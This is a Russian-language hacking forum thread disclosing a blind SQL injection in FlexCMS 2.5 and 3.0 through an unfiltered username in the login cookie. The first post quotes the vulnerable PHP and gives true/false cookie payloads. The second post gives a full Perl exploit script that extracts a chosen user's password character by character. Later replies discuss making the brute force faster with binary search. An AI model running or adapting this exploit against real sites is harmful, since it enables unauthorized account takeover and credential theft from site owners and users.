Flex CMS 2.5 Blind SQL-Injection

Discussion in 'Веб-уязвимости' started by Spyder, 16 Dec 2008.

  1. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    FlexCMS 2.5 Blind SQL-Injection

    FlexCMS 2.5 Blind SQL-Injection
    Сайт: www.flexcms.com
    Требования: magic_quotes_gpc = off
    Тестилось на последней free версии, скаченной с офф сайта
    Уязвимость в файле index.php
    PHP:
    $CookieData $HTTP_COOKIE_VARS[$CookieName];

    $LoggedIn 'n';
    $UserLevel 0;
     
    if (
    $CookieData != '' && $CookieData != 'not_logged_in') {
        list (
    $CookieUsername$CookiePassword) = split('=='$CookieData2);
        if (
    $CookieUsername != '' && $CookiePassword != '') {
            
    $query "select RecordNumber,Level,Password,DisplayName,SessionLength from `".$Settings['DBPrefix']."core-Users` where Username='$CookieUsername' LIMIT 1";
            
    $result mysql_query($query) or die (mysql_error());
    В cookies передаются логин и пасс, в таком виде
    логин==зашифрованый_пасс
    Т.к переменная $CookieUsername никак не фильтруется и при наличии magic_quotes_gpc = off есть возможность провести инъекцию

    Example:
    Code:
    True: FCLoginData12345=qwerty'+and+1=1/*%3D%3DqwDyM1dbqwDyM1db9iOPI
    False: FCLoginData12345=qwerty'+and+1=2/*%3D%3DqwDyM1dbqwDyM1db9iOPI
    
    Сразу скажу что не тестил в нете. Бага вроде тоже нигде не описана, если чё удалите(
     
    #1 Spyder, 16 Dec 2008
    Last edited: 16 Dec 2008
    4 people like this.
  2. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    [Exploit & Research] FlexCMS 2.5 & 3.0 Blind SQL-Injection

    Данная тема продолжение этой http://forum.antichat.ru/thread96609.html
    Я немного погорячился сказав что они новую верcию выпустили. Выпустить то выпустили, а вот баги не закрыли

    Посмотрел сайтеки в нете, бага должна быть, но она как будто отстутствует, буду разбираться в этом. Пока выкладываю, надеюсь кто нибудь скачает двиг и присоединится в копании и мб немного исправит сплоит и поймёт почему бага не пашет на реальных примерах. пишите 625470
    Реализовано на more than 1 row

    Code:
    #!/usr/bin/perl
    # FlexCMS Blind SQL injection exploit
    # usage: perl flex.pl www.site.com /flex/ admin
    $|=1;
    use IO::Socket;
    $host = $ARGV[0];
    $path = $ARGV[1];
    $uname = $ARGV[2];
    $url = 'http://'.$host.$path;
    $ascii = 47;
    $id=1;
    print "[+] Conecting to $host\n";
    print "[+] Bruting password for username - $uname\n\n";
    while (!$pass_ok) {
    	undef $next;
    	$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "$!\n";
    	print $socket "GET $url HTTP/1.0\r\n";
    	print $socket "Accept: */*\r\n";
    	print $socket "Host: localhost\r\n";
    	print $socket "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\r\n";
    	print $socket "Cookie: FCLoginData12345=sploa'+and 1=(select null from `core-Users` where length(if(ascii(substring((select password from `core-Users` where username='$uname'),$id,1))>$ascii,username,RecordNumber))>1)/*%3D%3Dxekeng\r\n";
    	print $socket "Connection: close\r\n\r\n";
    	while (<$socket>) {
    		if (m/Subquery returns more than 1 row/) {
    			$next = 1
    		}
    	}
    	if ($next and $ascii != 57) {$ascii++}
    	elsif ($next and $ascii == 57) { $ascii = $ascii+7 }
    	else {
    		if ($ascii == 47) {
    			print "\n[+]Password has been brooted\n[+]Password is - $pass\n";
    			$pass_ok = 1; 
    		} else {
    			$pass .= pack("C", $ascii);
    			print "$pass\n";
    			$ascii = 47;
    			$id++;
    		}
    	}
    	sleep(0);
    }
     
    2 people like this.
  3. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Spyder, как я понял, у тебя просто последовательно перебираются все символы на каждой позиции? Гораздо быстрее использовать бинарный поиск. Вместо 512 запросов будет 160 в худшем случае (это если пасс в md5 и поиск правильно реализован).

    Хз правда где посмотреть на перле, на пхп можешь у меня глянуть (тоже More1row), тут, правда я не помню насколько он оптимально реализован (т.е. нет ли нескольких лишних запросов): https://forum.antichat.ru/showpost.php?p=871056&postcount=23

    В любом случае работает гораздо быстрее, и даже если написан неоптимально, то запросов будет не более 170.
     
    #3 Qwazar, 24 Apr 2009
    Last edited: 24 Apr 2009
    1 person likes this.
  4. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    Даже если и перебирать все символы, то лучше вначале определить цифра \ буква \ символ, затем разбить на диапазоны, выяснить в каком диапазоне лежит нужный символ и далее уже брутить
     
  5. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    там не мд5, какая то своя криптовка
    я посчитал, на каждую букву приходится максимум 62 запроса
    пасс состоит из 0-9a-zA-Z
    намёк на бинарный поиск понял
    меня больше волнует неработоспособноссть баги на реальных примерах в нете
     
  6. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Бинарным поиском без определения будет быстрее. Ты только на определение потратишь 2 запроса, на каждый символ.

    В случае a-zA-Z-0-9, всего 64 варианта, т.е. в худшем случае, при бинарном поиске без проверки - 6 запросов на символ.

    Если ты будешь проверять в какой группе лежит символ, то это:

    1) 2 запроса на определение группы (стабильно для каждого символа)
    2) Ещё 5 запросов на каждый символ в худшем случае (т.е. если тебе попался диапазон более чем из 16 сиволов).

    Вывод - 7 запросов в худшем варианте, вместо 6 в худшем варианте.

    З.Ы.
    Худший вариант - символ ни разу не попал в середину диапазона, до последней итерации.
     
    #6 Qwazar, 24 Apr 2009
    Last edited: 24 Apr 2009